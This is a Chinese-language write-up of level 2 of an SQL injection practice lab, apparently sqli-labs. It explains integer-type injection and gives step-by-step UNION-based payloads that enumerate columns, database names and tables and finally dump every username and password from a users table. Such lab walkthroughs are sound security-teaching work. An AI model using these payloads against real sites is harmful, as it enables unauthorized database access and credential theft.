less-2(整形注入+联合注入)
初始界面如下

确认漏洞存在
注入?id=1',有报错信息

注入?id=1

注入?id=2

目前和第一关是一样的,接下来判断是整形注入还是字符型注入
判断注入类型
注入?id=1 and 1=1

注入?id=1 and 1=2
我们此时发现这两个注入语句给的反馈并不一样,可以判定是整形注入

查字段
和第一关打法一样,使用order by语句
注入?id=1 order by 3,字段3存在

注入?id=1 order by 4,字段4不存在
那么证明只有3个字段
查回显点
注入?id=1 and 1=2 union select 1,2,3

发现回显点在2和3的位置
数据库版本和数据库名
注入?id=1 and 1=2 union select 1,version(),database()

得到数据库版本和security库名
查表名
注入
?id=1 and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security'

得到用户名和四个表名,我们着重查users表
脱库
注入 ?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

得到所有数据,成功脱库
对于以上参与的函数不太清楚是什么作用的师傅们可以参考我的less-1的文章,基本上都罗列出来了
小tips:
第二关和第一关其实是一样的,只不过是注入类型的区别,第一关属于字符型注入,第二关属于整形注入
我们判断是否有sql漏洞的时候通常是注入?id=1',如果报错就证明漏洞可能是存在的,那么我们就要进行下一步的漏洞验证
需要判断是字符型注入还是整形注入
字符型注入通常会有单引号(或双引号)的参与
所以在第一关注入的时候我们要进行一个参数的单引号闭合,id=1'
整形注入则不需要(单引号或双引号)的参与
所以第二关不需要闭合方式,直接进行注入就行了
这篇文章就可以作为sql注入是不是整形注入的参考
另外,整型注入通常不需要加 –+ 注释,因为不需要闭合引号。加了虽然一般不报错,但属于多余操作,在某些特殊场景(如后面还有其他条件)可能会影响注入效果。

